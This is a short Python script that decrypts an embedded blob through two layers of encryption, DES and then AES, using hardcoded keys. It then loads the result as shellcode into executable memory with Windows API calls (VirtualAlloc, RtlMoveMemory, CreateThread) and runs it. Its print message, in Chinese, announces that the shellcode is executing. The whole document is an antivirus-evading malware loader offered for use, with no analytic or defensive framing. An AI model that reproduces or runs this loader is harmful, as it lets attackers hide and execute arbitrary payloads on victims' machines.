ciphertext = b'\x81\xdbs\x94hL4\xaf\xfb\xeb\xe6\xee\xa3\x85\xd2Pvn6\xa8\xfaK\x88\xe3&O\x91\x81\xd9J\th\xea!\x85\xf3\xe7~kw\xcfh@\x81Y~`\xeb\x9f?.\x13\xed\x86\xffs\x04p\xe1\x9b*\xc9;\xae\x9fv\xd9\'\xbe\x98\x08\xb1H\x93\xa9\x8d\x14.z\x0b]\x91\x81\xa8\xd6\xbd\xa9\x88;\x88\xe5\x9b"\xb6\xab\xca\xf9\xbf\x1f\xea\xcf\xe4$\x96\xaf\\H\x9e\xedg\x0e\xe1\xf8/\x10\x835\x1er\xe9+]\xf8\xcd\xe1\xcb-b4\xea\xb6E\xb8\r\xc4v\xdb\xd0d+?V\xd6\xfeZ\x92\x89>`,\xe8\xf6Q\xee@\x16\x96\xd3\xefL0~\xed\x95\xdd\x07\x99}\xd0`\x9d\n\xf5\x14\xa2\x88\xe0\xc6}\xb9)\xa7\xba\xa3\x8ch\x8f\x86:\x00\x94(\xe6\xbb\x1c\xd3\x8f\xb0\xae\xb7\xcb\xeb\xef\xcd\xaa\xc6\xcc@H\xef&]\x92\x1a\xf7\xaa\x03\xb77\xa5\x9b\xb0\x0b\x8aC\xa8#Ua\xfc\x90\x04\xc3v\xb9O:\xc8F\xf8\x10\x0cG0\xe6\x82{p\xa8R\x92V4\xc4Nu\xf4~l\xfc1\x907\x00\xb2\xcb\x85\x88lI\xbf\x06\xff\x9ed\xce\xa0g\x06\xd8\x9b\xc6\x8c\xe1\x83\x019\x06\xb1-=\xd0\xfdo\xfb\xa7'

from Cryptodome.Cipher import DES
from Cryptodome.Util.Padding import unpad

key = "kfiwenpn".encode().ljust(8, b'\0')[:8]
cipher = DES.new(key, DES.MODE_ECB)
layer_0 = unpad(cipher.decrypt(ciphertext), DES.block_size)


from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
import hashlib
key_bytes = hashlib.md5("piureb13df3".encode()).digest()
cipher = AES.new(key_bytes, AES.MODE_ECB)
shellcode = unpad(cipher.decrypt(layer_0), AES.block_size)


import ctypes
print("[*] 执行 shellcode...")
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
page = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(page), ctypes.create_string_buffer(bytes(shellcode)), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(page), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
